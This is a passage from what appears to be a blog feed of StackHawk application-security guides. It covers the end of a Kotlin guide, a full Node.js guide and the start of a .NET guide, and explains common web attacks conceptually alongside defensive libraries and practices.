Security is a continuous process. The team at Kotlin is always identifying new vulnerabilities, and they release patches to address any issues that may have been found.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Weaknesses&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Some of Kotlin&amp;#39;s security weaknesses include:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Reverse engineering&lt;/b&gt;—It&amp;#39;s possible for someone with enough technical knowledge to reverse engineer your Kotlin app, hence, giving them more understanding of the internal working of your app. Also, if you bundle sensitive data like API credentials in your app, they may be exposed too.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Internet-driven APIs&lt;/b&gt;—Most programs need to connect to the internet for one reason or another. Kotlin has a few built-in tools for powering the internet-driven functionality of apps. Two examples are &lt;b&gt;HttpsURLConnection&lt;/b&gt; and &lt;b&gt;WebView&lt;/b&gt;. Making HTTP requests via non-SSL protocol can expose sensitive data in transit. Similarly, wrong use of the WebView API such as allowing the execution of any JavaScript code and allowing users to visit any URL via your app can increase security risk.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Features That Increase Kotlin Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Underneath, Kotlin is just like other programming languages and contains several security features. However, in this section, we&amp;#39;ll take a look at two Kotlin-specific features that make Kotlin more secure.&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Immutability&lt;/b&gt;: One way Kotlin improves on Java is by offering keywords for declaring a variable as mutable or immutable. These keywords are &lt;b&gt;val&lt;/b&gt; and &lt;b&gt;var&lt;/b&gt;. Variables declared with &lt;b&gt;val&lt;/b&gt; are immutable, meaning that you cannot reassign a new value to it later in your program.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Null safety&lt;/b&gt;: Earlier, we mentioned null safety as one of the strengths of Kotlin. This feature helps developers write more secure applications. For example, with null safety, developers are more likely to catch and provide a safe path for code execution in the event of unexpected null values. In other words, this can reduce the occurrence of a NullPointerException.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Kotlin Libraries and Framework&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In this section, we&amp;#39;ll take a look at some popular Kotlin libraries and frameworks and how they handle security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Ktor&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://ktor.io/&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt; is a framework for building web applications and microservices using Kotlin. One example of how you can use Ktor is for developing a RESTful API that a mobile or web app can interact with via HTTP requests. In addition, you can render HTML responses directly using Ktor. In that case, you can build a full-stack web application using Ktor.&lt;/p&gt;&lt;p&gt;Ktor is flexible and can integrate with other tools to build complex applications. For example, you can use Ktor with an SQL database to persist data. However, poor implementation of features may leave your Ktor application open to security issues like SQL injection.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Spring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Spring is a popular Java framework for building microservices and general web applications. Starting from the fifth version of the &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;Spring project generator,&lt;/u&gt;&lt;/a&gt; you can generate a new Spring project using Kotlin.&lt;/p&gt;&lt;p&gt;A Spring application may also be vulnerable to SQL injection and XSS attacks, among others.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Javalin&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://javalin.io/&quot;&gt;&lt;u&gt;Javalin&lt;/u&gt;&lt;/a&gt; is a lightweight Java and Kotlin framework that offers WebSocket, async requests, and HTTP2 support. One of the strengths of Javalin includes the fact that it&amp;#39;s ideal for building RESTful APIs. For example, it has great support for OpenAPI and can be used with tools like Swagger. In addition, Javalin applications run on Jetty, a very popular JVM web server.&lt;/p&gt;&lt;p&gt;Again, Javalin applications that aren&amp;#39;t properly optimized may be vulnerable to security issues.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Kotlin Security Libraries&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;1. Hibernate Validator&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://hibernate.org/validator/&quot;&gt;&lt;u&gt;Hibernate Validator&lt;/u&gt;&lt;/a&gt; is a library for Java and Kotlin for validating data like user input. Applications that parse user input without proper validation are more likely to be vulnerable. As a result, attackers take advantage of them to perform attacks like XSS, SQL injection, and other command injection attacks.&lt;/p&gt;&lt;p&gt;Using this validation library, we can reduce the risk of attack to a great extent. The following is an example of how Hibernate Validator works:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Data class&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;data class UserDto(
    @field:Max(value=100)
    @Email()
    val email: String,
    @field:Min(value=8)
    val password: String
)&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;&lt;b&gt;Application class&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;From the example code above, we use the &lt;b&gt;@Email&lt;/b&gt; annotation to validate that the value for email is an actual email address. We also verify that the length of the password is greater than eight characters using the &lt;b&gt;@Min&lt;/b&gt; annotation.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Ktorm&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.ktorm.org/&quot;&gt;&lt;u&gt;Ktorm&lt;/u&gt;&lt;/a&gt; is an object-relational mapping (ORM) framework for Kotlin. In simpler terms, it&amp;#39;s a tool that makes working with relational databases like SQL easier.&lt;/p&gt;&lt;p&gt;The following example shows SQL queries using Ktorm API:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Data class&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;object Users : Table&amp;lt;Nothing&amp;gt;(&amp;quot;users_tbl&amp;quot;) {
    val id = int(&amp;quot;id&amp;quot;).primaryKey()
    val email = varchar(&amp;quot;email&amp;quot;)
    val password = varchar(&amp;quot;password&amp;quot;)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
&lt;b&gt;Application class&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the example above, we&amp;#39;re printing values from &lt;b&gt;users_tbl&lt;/b&gt;. Thanks to Ktorm&amp;#39;s Kotlin DSL, we didn&amp;#39;t have to write any raw SQL queries.&lt;/p&gt;&lt;p&gt;Using an ORM can reduce the risk of SQL injection. However, it&amp;#39;s worth mentioning that if you write a lot of raw SQL queries while using an ORM, your application may still be vulnerable. In the next section, we&amp;#39;ll look at other practices for increasing the general security of Kotlin.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Kotlin Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A combination of the following practices can reduce security risk in Kotlin.&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Validateuser input before parsing or outputting them&lt;/b&gt;. Failure to do so can expose your application to SQL injections and XSS attacks.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Avoid storing API configuration keys in code&lt;/b&gt;. Earlier, we mentioned that one of the risks posed by reverse engineering is the exposure of sensitive information like API keys. In order to reduce this type of risk, you should avoid storing API keys as strings in your application. Instead, use environment variables where possible, or use other methods to encrypt keys.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Keep tools up to date&lt;/b&gt;. Always keep the version of Kotlin your application is using up to date. In addition, if you&amp;#39;re using any other third-party libraries and dependencies, you should also keep them up to date.&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Encrypt data before sending it over a network&lt;/b&gt;. If your application sends sensitive data like messages and passwords over the internet, use good encryption methods to encrypt such data before sending them. Doing so can reduce the risk of data being intersected and read in transit.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Security Attacks in Kotlin&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Some of the most common application security risks in Koltin include the following:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; is a type of attack where the attacker manipulates SQL queries on a vulnerable website or application.&lt;/p&gt;&lt;p&gt;In order to perform this type of attack, the attacker usually targets features that accept user inputs. For example, the attacker may manipulate the value for an ID in the URL of a web application.&lt;/p&gt;&lt;p&gt;A good method for preventing SQL injection is by validating user input before using them in SQL queries. Another option for preventing SQL injection is the use of &lt;b&gt;PreparedStatement&lt;/b&gt;.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Cross-site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt; is a type of security vulnerability that allows users to inject malicious JavaScript code into a website.&lt;/p&gt;&lt;p&gt;An attacker can perform an XSS attack using various methods, including pages that display user inputs. For example, the attacker may submit malicious code using the reply feature on a website that allows users to reply to posts. The malicious code is then executed any time a regular user loads the page containing the reply.&lt;/p&gt;&lt;p&gt;One effective method for preventing XSS attacks is by validating and sanitizing user inputs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Command Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-command-injection-examples-and-prevention/&quot;&gt;&lt;u&gt;Command injection&lt;/u&gt;&lt;/a&gt; is an injection attack where the attacker injects malicious code into the server. The server or back end then runs this code like the normal application code, thus, granting the attacker access to data and other resources.&lt;/p&gt;&lt;p&gt;This type of attack can be done via user input. The attacker may inject code via a URL query parameter.&lt;/p&gt;&lt;p&gt;A good practice for preventing command injection is avoiding the use of functions that execute commands in our code. In addition to that, sanitization of user input can reduce risk.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Cross-Site Request Forgery (CSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt;CSRF&lt;/u&gt;&lt;/a&gt; is a type of attack that takes advantage of the trust a website has for authenticated users. In this attack, unauthorized commands are executed on behalf of an authenticated user.&lt;/p&gt;&lt;p&gt;One way attackers carry out this attack is by tricking unsuspecting authenticated users to click manipulated URLs for the target application.&lt;/p&gt;&lt;p&gt;To beat CSRF, applications should verify whether a request is forged or not before performing commands.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. HTTP Strict Transport Security Header&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;HTTP strict transport security header&lt;/u&gt;&lt;/a&gt; makes it possible for browsers to restrict access to a site to only HTTPS requests. Sending data over the nonsecure HTTP protocol can expose data in transit.&lt;/p&gt;&lt;p&gt;To prevent strict transport security header-related vulnerabilities, enable HTTPS on web applications.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To conclude, here are a few points that sum up our discussion on security in Kotlin:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Kotlin, just like most popular programming languages, gets consistent updates that patch security vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;However, application security depends on how a developer uses features and tools on their app. You should always test your applications for common security vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finally, keeping all tools—including third-party dependencies that you use in your application—up to date can also improve security.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Guide to Security in Node.js]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/guide-to-security-in-node-js</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this post, you&amp;#39;re going to learn about security in Node.js and best practices to secure your Node.js apps. Security, in this case, means safeguarding data. To build great software and systems, you have to think about security from the first stage of your development roadmap. This means that security should be at the core of your software development process. &lt;/p&gt;&lt;p&gt;This guide will take you through key security concepts to consider when building software using Node.js. Let&amp;#39;s start by seeing how Node.js already supports security practices. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security and Node.js: A Primer&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Most importantly, the strength of the Node.js core lies in the community around it. The Node.js community prioritizes security as a key factor in the development of Node.js. This has led to the creation of the Node.js &lt;a href=&quot;https://github.com/nodejs/security-wg&quot;&gt;&lt;u&gt;Security Working Group&lt;/u&gt;&lt;/a&gt; (SWG), whose mission is to improve the security of applications built using Node.js. It does so by bringing vulnerability data from the community to the Node Security Platform, while also maintaining the vulnerability data on disclosed security vulnerabilities. The SWG also ensures vulnerabilities in Node packages are properly documented and, consequently, makes known security issues openly reported. &lt;/p&gt;&lt;p&gt;However, you should note that SWG is &lt;i&gt;not&lt;/i&gt; responsible for managing or responding to security reports against Node.js itself. The &lt;a href=&quot;https://github.com/nodejs/TSC&quot;&gt;&lt;u&gt;Node.js TSC &lt;/u&gt;&lt;/a&gt;owns that responsibility. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Relevant Libraries or Frameworks in Node.js&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Node.js has several modules that improve the efficiency of software applications. Accordingly, properly integrating these modules will improve the security of your Node.js applications. In addition, these modules are free to add, and they improve the overall efficiency of Node.js apps while tightening up loose ends. I&amp;#39;m going to go over a few of these libraries and frameworks. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Express.js&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The first on the list is &lt;a href=&quot;https://expressjs.com/&quot;&gt;&lt;u&gt;Express&lt;/u&gt;&lt;/a&gt;, which is a Node.js framework that you can use when you need to easily handle verb actions like GET, POST, and DELETE requests in Node.js. It handles each of these requests with different paths known as routes. Express.js uses the Node.js middleware idea to deliver middleware modules that solve specific and key problems in Node.js like security. &lt;/p&gt;&lt;p&gt;Next on the list is Helmet.   &lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Helmet.js&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://helmetjs.github.io/&quot;&gt;&lt;u&gt;Helmet&lt;/u&gt;&lt;/a&gt; is an Express middleware, and it helps in setting various HTTP response headers for securing GET and POST requests in Node.js apps. It&amp;#39;s used as an HTTP Headers Security module. It delivers middleware functions that set HTTP headers. &lt;/p&gt;&lt;p&gt;These HTTP headers include the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;helmet.contentSecurityPolicy()&lt;/b&gt; sets the Content-Security-Policy header, which helps mitigate cross-site scripting attacks (XSS).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;helmet.xssFilter()&lt;/b&gt; disables browsers’ buggy cross-site scripting filter by setting the X-XSS-Protection header to 0.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can go through &lt;a href=&quot;https://helmetjs.github.io/&quot;&gt;&lt;u&gt;this list&lt;/u&gt;&lt;/a&gt; to see all the HTTP headers you can set up in your Node.js application using Helmet. &lt;/p&gt;&lt;p&gt;Next, we&amp;#39;ll go through the Node.js module for securing passwords, Bcrypt. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Bcrypt&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/bcrypt&quot;&gt;&lt;u&gt;Bcrypt&lt;/u&gt;&lt;/a&gt; is a password security module offered by Node.js. The Bcrypt library protects users from attacks like brute-forcing. This is made possible through a hashing method called salting. To clarify, salting is a technique that involves the act of adding random strings to passwords before the actual hashing takes place. &lt;/p&gt;&lt;p&gt;In order to do that, &amp;quot;the Bcrypt library uses a &lt;b&gt;.genSalt()&lt;/b&gt; method to generate a salt and hash,&amp;quot; according to the Bcrypt documentation. &lt;/p&gt;&lt;p&gt;With separate functions for both salt and hash, you can generate a password hash, and then a salt, like below. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And with separate function calls, you can auto-generate both a salt and a hash, like below. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Passwords can be checked for correctness by using the block of code below. The function returns &lt;b&gt;true&lt;/b&gt; when the hashed password matches the plain password. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;4. Validator.js&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next on the list is Validator, which is an input validation module. It enforces the need for user inputs to be what they&amp;#39;re required to be. In the same vein, it ensures input correctness. &lt;a href=&quot;https://www.npmjs.com/package/validator&quot;&gt;&lt;u&gt;This list&lt;/u&gt;&lt;/a&gt; includes all the validators you can configure with the Validator package. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. ESLint Plugin&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another way to improve your Node.js app&amp;#39;s security is to integrate ESLint, which is a linting security plugin that helps to identify vulnerable Node.js code during development. Vulnerable code implementations include unsafe regular expressions, an ‘await’ keyword inside &lt;i&gt;for&lt;/i&gt; loops, and so on. &lt;/p&gt;&lt;p&gt;You can get more details on how to use this plugin to write less vulnerable code &lt;a href=&quot;https://www.npmjs.com/package/eslint-plugin-security&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Regardless of what applications you&amp;#39;re building with Node.js, you should carry out key security procedures at the first stage of development.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;So, to keep your Node.js application secure and free of vulnerabilities, it&amp;#39;s important to implement essential security best practices while building out your Node.js app. We&amp;#39;ll go through a couple of those in this section. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Always Audit Node Modules&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Firstly, it&amp;#39;s imperative to always audit each node module you use in your project for vulnerability checks. Auditing helps to confirm which package is available for an upgrade. When you audit packages, you&amp;#39;re also confirming the security of the package. &lt;/p&gt;&lt;p&gt;Consequently, in order to audit packages/modules and check for vulnerable dependencies, you can use tools like Snyk, Node Security Project (NSP), or run npm-audit to track down and patch vulnerabilities. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Always Use Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secondly, attacks like brute forcing are a common security threat to Node.js apps, and login routes are the most targeted for this form of attack. Rate limiting helps to limit the impact of brute force attacks. The Node.js &lt;a href=&quot;https://www.npmjs.com/package/ratelimiter&quot;&gt;&lt;u&gt;ratelimiter&lt;/u&gt;&lt;/a&gt; package helps in the integration of rate limiting into your Node.js apps. With the ratelimiter module, you can limit middleware implementation against the ID of a user. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The Express Brute &lt;a href=&quot;https://libraries.io/npm/express-brute&quot;&gt;&lt;u&gt;package&lt;/u&gt;&lt;/a&gt; also does rate limiting to mitigate brute forcing and denial of service (DoS) attacks. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use TLS/SSL for Data Transmission&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Thirdly, data confidentiality is important when transmitting data from one layer to the other, to prevent sniffing from potential attackers. One common way to secure the transport of data through encryption is to use transport layer security (TLS) and secure sockets layer (SSL). To clarify, SSL encrypts the client-server connection end to end, and TLS secures password data and sensitive information like credit card details. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Escape Outputs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Furthermore, in order to avoid injection attacks like cross-site scripting (XSS), output escaping plays a key role. XSS will be explained later in this post. To escape outputs in your code, you can make use of the &lt;a href=&quot;https://github.com/ESAPI/node-esapi&quot;&gt;&lt;u&gt;Node ES API library&lt;/u&gt;&lt;/a&gt; or the &lt;a href=&quot;https://github.com/component/escape-html&quot;&gt;&lt;u&gt;Escape HTML library&lt;/u&gt;&lt;/a&gt; to escape all JavaScript and HTML code that users get access to. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Log and Monitor Your Apps&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Finally, loads on servers can cause DoS, which may lead to app downtime. It&amp;#39;s therefore important to monitor incoming and outgoing traffic into the servers, and you can always be alerted when servers are under extreme load. And if your servers are crashing not because of extreme loads, but due to security attacks, it&amp;#39;s imperative to use logs properly to understand how and when the security attack happened. The &lt;a href=&quot;https://www.npmjs.com/package/bunyan&quot;&gt;&lt;u&gt;Bunyan&lt;/u&gt;&lt;/a&gt; Node.js module helps in the efficient logging of your Node.js services. The &lt;a href=&quot;https://www.npmjs.com/package/toobusy-js&quot;&gt;&lt;u&gt;TooBusy&lt;/u&gt;&lt;/a&gt; Node.js module is an essential tool for monitoring Node.js apps. &lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#nodejs-security-cheat-sheet&quot;&gt;&lt;u&gt;OWASP Node.js Security Cheat Sheet&lt;/u&gt;&lt;/a&gt; includes a comprehensive list of security best practices. Understanding security attacks and key ways to mitigate these attacks is a key security embrace—and this is what the next section entails. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Most Common Node.js Security Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are several Node.js security attacks, but we&amp;#39;ll review the common ones in detail in this section. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; involves the insertion of an SQL query through input data from the user to the application. These attacks make use of areas in applications that ask for user inputs. The attacker carrying out the SQL injection attack will be able to gain access to the database of the application after a successful attack. You can read more on SQL injection on StackHawk. &lt;/p&gt;&lt;p&gt;To prevent an injection attack, input validation is key, and the Validator package mentioned above helps with proper input validation. The Validator module has allowlist and blocklist validation methods that are about explicitly declaring what you want to be authorized in your input validation process and blocking out everything else. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-Site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt; involves the injection of client-side scripts into websites. With XSS, attackers are able to manipulate web applications with the aim of sending malicious code to the users of the web app. XSS attacks have the objective of either stealing users&amp;#39; data or taking control of the web application. &lt;/p&gt;&lt;p&gt;To &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;prevent an XSS attack&lt;/u&gt;&lt;/a&gt;, you&amp;#39;ll need to use secure HTTP headers according to the requirements of your project. Helmet, mentioned above, delivers middleware functions that set secure HTTP headers. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Command Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Command injection involves the injection of input that alters valid and legal commands in vulnerable applications in order to execute illegal commands against the operating system. This attack is mostly against the system shell. The input injection can come from any source that the user can modify, such as forms. This attack targets the system shell. &lt;/p&gt;&lt;p&gt;Again, &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/&quot;&gt;&lt;u&gt;to prevent an injection attack&lt;/u&gt;&lt;/a&gt;, input validation is key. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-Site Resource Forgery (CSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt;CSRF&lt;/u&gt;&lt;/a&gt; is a form of session hijacking where a user is forced to run malicious actions on an application that they&amp;#39;re currently authenticated to. In a CSRF attack, attackers hijack the sessions of real users, thereby bypassing security rules for non-users. &lt;/p&gt;&lt;p&gt;To prevent CSRF attacks, you need to implement tokens that will be generated on the server side. The &lt;a href=&quot;https://www.npmjs.com/package/csurf&quot;&gt;&lt;u&gt;csurf&lt;/u&gt;&lt;/a&gt; Node.js package helps in the generation of valid CSRF tokens. &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-cryptographically-secure-pseudo-random-number-generators-csprng&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt; has also provided best practices for generating tokens. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Path Traversal&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-path-traversal-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;Path traversal&lt;/u&gt;&lt;/a&gt; involves the act of accessing directories in a file server illegally due to weak security validation. In this kind of attack, an attacker is able to access server files by the injection of malicious user inputs into the web application. This attack feeds upon vulnerable implementations of access control settings. &lt;/p&gt;&lt;p&gt;To prevent an attack of this form, allowlisting plays a key role. Input validation plays a vital role, too. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this guide, you learned about security essentials in Node.js, the packages and libraries available to mitigate vulnerability attacks, and best practices to tighten up security in your Node.js app. Certainly, security should be a priority during development and enmeshed in every facet of your next Node.js app. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Guide to Security in .NET]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/guide-to-security-in-net</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The .NET Framework is Microsoft&amp;#39;s primary enterprise development platform. It comprises a set of APIs for developing applications for desktops, servers, and the web. Its roots extend back to 2002 as a proprietary framework for Windows. But since then, it&amp;#39;s transformed into a free and open-source framework for Windows, Linux, and macOS. &lt;/p&gt;&lt;p&gt;The .Net framework has been around for a very long time and is the enterprise framework for one of the most common operating systems in use. So, it has its &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-2002/Microsoft-.net-Framework.html&quot;&gt;&lt;u&gt;share of exploits&lt;/u&gt;&lt;/a&gt;. But Microsoft and the open source community provide excellent support for the framework. As a result, you can write secure and safe applications by following Microsoft&amp;#39;s guidelines and employing the same best practices as any programming framework. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at .Net&amp;#39;s security features, some best practices for .Net developers, and how the framework fares against some of the most common security threats. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;.Net Security Features&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Principal and Identity Objects&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When managed code runs under .Net on Windows, it can access Windows&amp;#39; identity and principal subsystem. So, .Net apps running on Windows have access to Windows security and role-based access control. But, .Net Core doesn&amp;#39;t have the same level of access to user and authentication resources on Linux and macOS. Therefore, cross-platform applications need some extra help with authentication. &lt;/p&gt;&lt;p&gt;What .Net Core does have is the &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.authentication.iauthenticationservice?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;IAuthentication service.&lt;/u&gt;&lt;/a&gt; Applications can it use to access third-party authentication services such as Twitter, Google, and in-house OAuth services. In all cases, authenticating a user with the .Net framework creates a Principal object that&amp;#39;s useful for operations like role-based security. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Role-Based Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you use .Net&amp;#39;s authentication services, you get access to role-based access control (RBAC), too. The .Net framework has &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/standard/security/role-based-security&quot;&gt;&lt;u&gt;built-in support&lt;/u&gt;&lt;/a&gt; for RBAC. Used properly, RBAC will protect applications from many common attacks. Having support doesn&amp;#39;t automatically make .Net secure, but having the behavior built-in means you don&amp;#39;t have to write it yourself, and the functionality has been tried and tested. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Managed Execution&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;.Net compilers compile code to Microsoft intermediate language (MSIL) for distribution. Then, a just-in-time compiler compiles it to native code at execution time. &lt;/p&gt;&lt;p&gt;Part of compiling MSIL to native code is a verification process that examines the code and its associated metadata. Microsoft confusingly refers to this check as  &amp;quot;type safety,&amp;quot; even though it&amp;#39;s not related to the type safety enforced in programming languages. &lt;/p&gt;&lt;p&gt;MSIL code may only access authorized memory locations. This ensures proper isolation between modules and verifies that the runtime can enforce security restrictions. &lt;/p&gt;&lt;p&gt;System administrators can override this verification step on a specific piece of code or a systemwide basis. But, this is almost never a good idea. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Don&amp;#39;t Override Code Verification&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our first best practice recommendation is not to override the &amp;quot;type-safety&amp;quot; verification check outlined above. While this check is not perfect, and it&amp;#39;s even possible in rare cases for valid code to fail the check, running untrusted code is never a good idea. Supply-chain attacks on systems like &lt;a 